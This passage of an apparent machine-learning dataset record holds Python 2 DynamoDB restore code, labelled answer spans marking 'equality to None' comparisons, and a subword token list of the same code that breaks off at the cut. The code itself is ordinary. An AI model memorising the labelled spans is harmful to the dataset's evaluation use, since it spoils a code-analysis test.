\"com.amazon.coral.availability#ThrottlingException\":\n logging.info(\"Control plane limit exceeded, retrying creation of \" + destination_table + \"..\")\n time.sleep(sleep_interval)\n else:\n logging.exception(e)\n sys.exit(1)\n\n # wait for table creation completion\n wait_for_active_table(conn, destination_table, \"created\")\n\n # read data files\n logging.info(\"Restoring data for \" + destination_table + \" table..\")\n data_file_list = os.listdir(dump_data_path + \"/\" + source_table + \"/\" + DATA_DIR + \"/\")\n data_file_list.sort()\n\n for data_file in data_file_list:\n logging.info(\"Processing \" + data_file + \" of \" + destination_table)\n items = []\n item_data = json.load(open(dump_data_path + \"/\" + source_table + \"/\" + DATA_DIR + \"/\" + data_file))\n items.extend(item_data[\"Items\"])\n\n # batch write data\n put_requests = []\n while len(items) > 0:\n put_requests.append({\"PutRequest\": {\"Item\": items.pop(0)}})\n\n # flush every MAX_BATCH_WRITE\n if len(put_requests) == MAX_BATCH_WRITE:\n logging.debug(\"Writing next \" + str(MAX_BATCH_WRITE) + \" items to \" + destination_table + \"..\")\n batch_write(conn, sleep_interval, destination_table, put_requests)\n del put_requests[:]\n\n # flush remainder\n if len(put_requests) > 0:\n batch_write(conn, sleep_interval, destination_table, put_requests)\n\n if not args.dataOnly and not args.skipThroughputUpdate:\n # revert to original table write capacity if it has been modified\n if write_capacity != original_write_capacity:\n update_provisioned_throughput(conn, destination_table, original_read_capacity, original_write_capacity, False)\n\n # loop through each GSI to check if it has changed and update if necessary\n if table_global_secondary_indexes is not None:\n gsi_data = []\n for gsi in table_global_secondary_indexes:\n original_gsi_write_capacity = original_gsi_write_capacities.pop(0)\n if original_gsi_write_capacity != gsi[\"ProvisionedThroughput\"][\"WriteCapacityUnits\"]:\n gsi_data.append({\"Update\": { \"IndexName\" : gsi[\"IndexName\"], \"ProvisionedThroughput\": { \"ReadCapacityUnits\": int(gsi[\"ProvisionedThroughput\"][\"ReadCapacityUnits\"]), \"WriteCapacityUnits\": int(original_gsi_write_capacity),},},})\n\n logging.info(\"Updating \" + destination_table + \" global secondary indexes write capacities as necessary..\")\n while True:\n try:\n conn.update_table(destination_table, global_secondary_index_updates=gsi_data)\n break\n except boto.exception.JSONResponseError, e:\n if e.body[\"__type\"] == \"com.amazonaws.dynamodb.v20120810#LimitExceededException\":\n logging.info(\"Limit exceeded, retrying updating throughput of GlobalSecondaryIndexes in \" + destination_table + \"..\")\n time.sleep(sleep_interval)\n elif e.body[\"__type\"] == \"com.amazon.coral.availability#ThrottlingException\":\n logging.info(\"Control plane limit exceeded, retrying updating throughput of GlobalSecondaryIndexes in \" + destination_table + \"..\")\n time.sleep(sleep_interval)\n\n logging.info(\"Restore for \" + source_table + \" to \" + destination_table + \" table completed. Time taken: \" + str(datetime.datetime.now().replace(microsecond=0) - start_time))",
"metadata": "root.do_restore",
"header": "['module', '___EOS___']",
"index": 258
}
]
| [
{
"span": "separator == None:",
"start_line": 36,
"start_column": 9,
"end_line": 36,
"end_column": 26
},
{
"span": "write_capacity == None:",
"start_line": 284,
"start_column": 7,
"end_line": 284,
"end_column": 29
}
]
| []
| 1 | true | [
"[CLS]_",
"Test",
"ing_",
"equality",
"_",
"to_",
"None_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"get",
"\\u",
"table",
"\\u",
"name",
"\\u",
"matches_",
"(_",
"conn_",
",_",
"table",
"\\u",
"name",
"\\u",
"wildcard_",
",_",
"separator_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"all",
"\\u",
"tables_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"last",
"\\u",
"evaluate",
"d\\u",
"table",
"\\u",
"name_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"while_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"table",
"\\u",
"list_",
"=_",
"conn_",
"._",
"list",
"\\u",
"tables_",
"(_",
"exclu",
"sive",
"\\u",
"start",
"\\u",
"table",
"\\u",
"name_",
"=_",
"last",
"\\u",
"evaluate",
"d\\u",
"table",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"all",
"\\u",
"tables_",
"._",
"extend_",
"(_",
"table",
"\\u",
"list_",
"[_",
"\"",
"Table",
"Names",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"last",
"\\u",
"evaluate",
"d\\u",
"table",
"\\u",
"name_",
"=_",
"table",
"\\u",
"list_",
"[_",
"\"",
"Las",
"t",
"Evaluate",
"d",
"Table",
"Name",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Key",
"Error_",
",_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"matchi",
"ng",
"\\u",
"tables_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"table",
"\\u",
"name_",
"in_",
"all",
"\\u",
"tables_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"table",
"\\u",
"name",
"\\u",
"wildcard_",
"==_",
"\"*\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"matchi",
"ng",
"\\u",
"tables_",
"._",
"append_",
"(_",
"table",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"separator_",
"==_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"table",
"\\u",
"name_",
"._",
"startswith_",
"(_",
"table",
"\\u",
"name",
"\\u",
"wildcard_",
"._",
"split_",
"(_",
"\"*\"_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"matchi",
"ng",
"\\u",
"tables_",
"._",
"append_",
"(_",
"table",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"table",
"\\u",
"name_",
"._",
"split_",
"(_",
"separator_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
"==_",
"table",
"\\u",
"name",
"\\u",
"wildcard_",
"._",
"split_",
"(_",
"\"*\"_",
",_",
"1_",
")_",
"[_",
"0_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"matchi",
"ng",
"\\u",
"tables_",
"._",
"append_",
"(_",
"table",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"matchi",
"ng",
"\\u",
"tables_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"do",
"\\u",
"restore_",
"(_",
"conn_",
",_",
"sleep",
"\\u",
"interval_",
",_",
"source",
"\\u",
"table_",
",_",
"destinat",
"ion",
"\\u",
"table_",
",_",
"write",
"\\u",
"capacity_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Start",
"ing",
" ",
"restore",
" ",
"for",
" ",
"\"_",
"+_",
"source",
"\\u",
"table_",
"+_",
"\"",
" ",
"to",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"create",
" ",
"table",
" ",
"usi",
"ng",
" ",
"schema_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"restore",
" ",
"source",
"\\u",
"table",
" ",
"from",
" ",
"dump",
" ",
"director",
"y",
" ",
"if",
" ",
"it",
" ",
"exist",
"s",
" ",
"else",
" ",
"try",
" ",
"current",
" ",
"working",
" ",
"directory_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"os_",
"._",
"path_",
"._",
"exists_",
"(_",
"\"%",
"s",
"/",
"%",
"s",
"\"_",
"%_",
"(_",
"DUMP",
"\\u",
"PATH_",
",_",
"source",
"\\u",
"table_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"dump",
"\\u",
"data\\u",
"path_",
"=_",
"DUMP",
"\\u",
"PATH_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Cann",
"ot",
" ",
"find",
" ",
"\\\\\".",
"/",
"%",
"s",
"/",
"%",
"s",
"\\\\\",",
" ",
"No",
"w",
" ",
"try",
"ing",
" ",
"current",
" ",
"working",
" ",
"director",
"y",
"..\"_",
"%_",
"(_",
"DUMP",
"\\u",
"PATH_",
",_",
"source",
"\\u",
"table_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"os_",
"._",
"path_",
"._",
"exists_",
"(_",
"\"%",
"s",
"/",
"%",
"s",
"\"_",
"%_",
"(_",
"CURREN",
"T",
"\\u",
"WORK",
"ING",
"\\u",
"DIR_",
",_",
"source",
"\\u",
"table_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"dump",
"\\u",
"data\\u",
"path_",
"=_",
"CURREN",
"T",
"\\u",
"WORK",
"ING",
"\\u",
"DIR_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Cann",
"ot",
" ",
"find",
" ",
"\\\\\"",
"%",
"s",
"/",
"%",
"s",
"\\\\\"",
" ",
"director",
"y",
" ",
"contain",
"ing",
" ",
"dump",
" ",
"files",
"!\"_",
"%_",
"(_",
"CURREN",
"T",
"\\u",
"WORK",
"ING",
"\\u",
"DIR_",
",_",
"source",
"\\u",
"table_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"exit_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"table",
"\\u",
"data_",
"=_",
"json_",
"._",
"load_",
"(_",
"open_",
"(_",
"dump",
"\\u",
"data\\u",
"path_",
"+_",
"\"/\"_",
"+_",
"source",
"\\u",
"table_",
"+_",
"\"/\"_",
"+_",
"SCHE",
"MA",
"\\u",
"FILE_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"table_",
"=_",
"table",
"\\u",
"data_",
"[_",
"\"",
"Table",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"table",
"\\u",
"attribute",
"\\u",
"definitions_",
"=_",
"table_",
"[_",
"\"",
"Attribute",
"Definit",
"ion",
"s",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"table",
"\\u",
"table",
"\\u",
"name_",
"=_",
"destinat",
"ion",
"\\u",
"table_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"table",
"\\u",
"key",
"\\u",
"schema_",
"=_",
"table_",
"[_",
"\"",
"Key",
"Schema",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"original",
"\\u",
"read",
"\\u",
"capacity_",
"=_",
"table_",
"[_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
"]_",
"[_",
"\"",
"Read",
"Capacit",
"y",
"Unit",
"s",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"original",
"\\u",
"write",
"\\u",
"capacity_",
"=_",
"table_",
"[_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
"]_",
"[_",
"\"",
"Write",
"Capacit",
"y",
"Unit",
"s",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"table",
"\\u",
"local",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
"=_",
"table_",
"._",
"get_",
"(_",
"\"",
"Local",
"Second",
"ary",
"Indexe",
"s",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"table",
"\\u",
"global",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
"=_",
"table_",
"._",
"get_",
"(_",
"\"",
"Global",
"Second",
"ary",
"Indexe",
"s",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"args_",
"._",
"data",
"Only_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"override",
" ",
"table",
" ",
"write",
" ",
"capacit",
"y",
" ",
"if",
" ",
"specified",
",",
" ",
"else",
" ",
"use",
" ",
"REST",
"ORE",
"\\u",
"WRITE",
"\\u",
"CAPA",
"CITY",
" ",
"if",
" ",
"original",
" ",
"write",
" ",
"capacit",
"y",
" ",
"is",
" ",
"lower_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"write",
"\\u",
"capacity_",
"==_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"original",
"\\u",
"write",
"\\u",
"capacity_",
"<_",
"REST",
"ORE",
"\\u",
"WRITE",
"\\u",
"CAPA",
"CITY",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"write",
"\\u",
"capacity_",
"=_",
"REST",
"ORE",
"\\u",
"WRITE",
"\\u",
"CAPA",
"CITY",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"write",
"\\u",
"capacity_",
"=_",
"original",
"\\u",
"write",
"\\u",
"capacity_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"override",
" ",
"GS",
"I",
" ",
"write",
" ",
"capacit",
"ies",
" ",
"if",
" ",
"specified",
",",
" ",
"else",
" ",
"use",
" ",
"REST",
"ORE",
"\\u",
"WRITE",
"\\u",
"CAPA",
"CITY",
" ",
"if",
" ",
"original",
" ",
"write",
" ",
"capacit",
"y",
" ",
"is",
" ",
"lower_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"original",
"\\u",
"gsi",
"\\u",
"write",
"\\u",
"capacit",
"ies_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"table",
"\\u",
"global",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"gsi",
"_",
"in_",
"table",
"\\u",
"global",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"original",
"\\u",
"gsi",
"\\u",
"write",
"\\u",
"capacit",
"ies_",
"._",
"append_",
"(_",
"gsi",
"_",
"[_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
"]_",
"[_",
"\"",
"Write",
"Capacit",
"y",
"Unit",
"s",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"gsi",
"_",
"[_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
"]_",
"[_",
"\"",
"Write",
"Capacit",
"y",
"Unit",
"s",
"\"_",
"]_",
"<_",
"int_",
"(_",
"write",
"\\u",
"capacity_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"gsi",
"_",
"[_",
"\"",
"Provision",
"ed",
"Through",
"put",
"\"_",
"]_",
"[_",
"\"",
"Write",
"Capacit",
"y",
"Unit",
"s",
"\"_",
"]_",
"=_",
"int_",
"(_",
"write",
"\\u",
"capacity_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"temp",
" ",
"provisioned",
" ",
"throughput",
" ",
"for",
" ",
"restore_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"table",
"\\u",
"provisioned",
"\\u",
"throughput",
"_",
"=_",
"{_",
"\"",
"Read",
"Capacit",
"y",
"Unit",
"s",
"\"_",
":_",
"int_",
"(_",
"original",
"\\u",
"read",
"\\u",
"capacity_",
")_",
",_",
"\"",
"Write",
"Capacit",
"y",
"Unit",
"s",
"\"_",
":_",
"int_",
"(_",
"write",
"\\u",
"capacity_",
")_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"\"",
"Creat",
"ing",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"",
" ",
"table",
" ",
"with",
" ",
"temp",
" ",
"write",
" ",
"capacit",
"y",
" ",
"of",
" ",
"\"_",
"+_",
"str_",
"(_",
"write",
"\\u",
"capacity_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"while_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"conn_",
"._",
"create",
"\\u",
"table_",
"(_",
"table",
"\\u",
"attribute",
"\\u",
"definitions_",
",_",
"table",
"\\u",
"table",
"\\u",
"name_",
",_",
"table",
"\\u",
"key",
"\\u",
"schema_",
",_",
"table",
"\\u",
"provisioned",
"\\u",
"throughput",
"_",
",_",
"table",
"\\u",
"local",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
",_",
"table",
"\\u",
"global",
"\\u",
"second",
"ary",
"\\u",
"indexes_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"break_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"boto_",
"._",
"exception_",
"._",
"JSONR",
"esp",
"ons",
"e",
"Error_",
",_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"e_",
"._",
"body_",
"[_",
"\"\\u\\u",
"type",
"\"_",
"]_",
"==_",
"\"",
"com",
".",
"amaz",
"ona",
"ws",
".",
"dynamodb",
".",
"v2",
"0120",
"810",
"#",
"Limit",
"Exce",
"eded",
"Except",
"ion",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Limit",
" ",
"exceed",
"ed",
",",
" ",
"retrying",
" ",
"creati",
"on",
" ",
"of",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"sleep",
"\\u",
"interval_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"e_",
"._",
"body_",
"[_",
"\"\\u\\u",
"type",
"\"_",
"]_",
"==_",
"\"",
"com",
".",
"amaz",
"on",
".",
"cora",
"l",
".",
"avail",
"abilit",
"y",
"#",
"Thr",
"ott",
"ling",
"Except",
"ion",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Control",
" ",
"plane",
" ",
"limit",
" ",
"exceed",
"ed",
",",
" ",
"retrying",
" ",
"creati",
"on",
" ",
"of",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"sleep",
"\\u",
"interval_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"exception_",
"(_",
"e_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sys_",
"._",
"exit_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"wait",
" ",
"for",
" ",
"table",
" ",
"creati",
"on",
" ",
"completion_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"wait",
"\\u",
"for",
"\\u",
"active",
"\\u",
"table_",
"(_",
"conn_",
",_",
"destinat",
"ion",
"\\u",
"table_",
",_",
"\"",
"created",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"read",
" ",
"data",
" ",
"files_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"\"",
"Restor",
"ing",
" ",
"data",
" ",
"for",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"",
" ",
"table",
"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data\\u",
"file",
"\\u",
"list_",
"=_",
"os_",
"._",
"listdir_",
"(_",
"dump",
"\\u",
"data\\u",
"path_",
"+_",
"\"/\"_",
"+_",
"source",
"\\u",
"table_",
"+_",
"\"/\"_",
"+_",
"DATA",
"\\u",
"DIR_",
"+_",
"\"/\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"data\\u",
"file",
"\\u",
"list_",
"._",
"sort_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"data\\u",
"file_",
"in_",
"data\\u",
"file",
"\\u",
"list_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Process",
"ing",
" ",
"\"_",
"+_",
"data\\u",
"file_",
"+_",
"\"",
" ",
"of",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"items_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"item",
"\\u",
"data_",
"=_",
"json_",
"._",
"load_",
"(_",
"open_",
"(_",
"dump",
"\\u",
"data\\u",
"path_",
"+_",
"\"/\"_",
"+_",
"source",
"\\u",
"table_",
"+_",
"\"/\"_",
"+_",
"DATA",
"\\u",
"DIR_",
"+_",
"\"/\"_",
"+_",
"data\\u",
"file_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"items_",
"._",
"extend_",
"(_",
"item",
"\\u",
"data_",
"[_",
"\"",
"Item",
"s",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"batch",
" ",
"write",
" ",
"data_",
"\\u\\u\\uNL\\u\\u\\u_",
"put",
"\\u",
"requests_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"while_",
"len_",
"(_",
"items_",
")_",
">_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"put",
"\\u",
"requests_",
"._",
"append_",
"(_",
"{_",
"\"",
"Put",
"Request",
"\"_",
":_",
"{_",
"\"",
"Item",
"\"_",
":_",
"items_",
"._",
"pop_",
"(_",
"0_",
")_",
"}_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"flush",
" ",
"every",
" ",
"MAX",
"\\u",
"BATCH",
"\\u",
"WRITE_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"len_",
"(_",
"put",
"\\u",
"requests_",
")_",
"==_",
"MAX",
"\\u",
"BATCH",
"\\u",
"WRITE_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"debug_",
"(_",
"\"",
"Writ",
"ing",
" ",
"next",
" ",
"\"_",
"+_",
"str_",
"(_",
"MAX",
"\\u",
"BATCH",
"\\u",
"WRITE_",
")_",
"+_",
"\"",
" ",
"items",
" ",
"to",
" ",
"\"_",
"+_",
"destinat",
"ion",
"\\u",
"table_",
"+_",
"\"..\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"batch",
"\\u",
"write_",
"(_",
"conn_",
",_",
"sleep",
"\\u",
"interval_",
",_",
"destinat",
"ion",
"\\u",
"table_",
",_",
"put",
"\\u",
"requests_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"del_",
"put",
"\\u",
"requests_",
"[_",
":_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"flush",
" ",
"remainder_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"len_",
"(_",
"put",
"\\u",
"requests_",
")_",
">_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"batch",
"\\u",
"write_",
"(_",
"conn_",
",_",
"sleep",
"\\u",
"interval_",
",_",
"destinat",
"ion",
"\\u",
"table_",
",_",
"put",
"\\u",
"requests_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"args_",
"._",
"data",
"Only_",
"and_",
"not_",
"args_",
"._",
"skip",
"Through",
"put",
"Update_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"revert",
" ",
"to",
" ",
"original",
" ",
"table",
" ",
"write",
" ",
"capacit",
"y",
" ",
"if",
" ",
"it",
" ",
"has",
" ",
"bee",
"n",
" ",
"modified_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"write",
"\\u",
"capacity_",
"!=_",
"original",
"\\u",
"write",
"\\u",
"capacity_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"update",
"\\u",
"provisioned",
"\\u",
"throughput",
"_",
"(_",
"conn_",
",_",
"destinat",
"ion",
"\\u",
"table_",
",_",
"original",
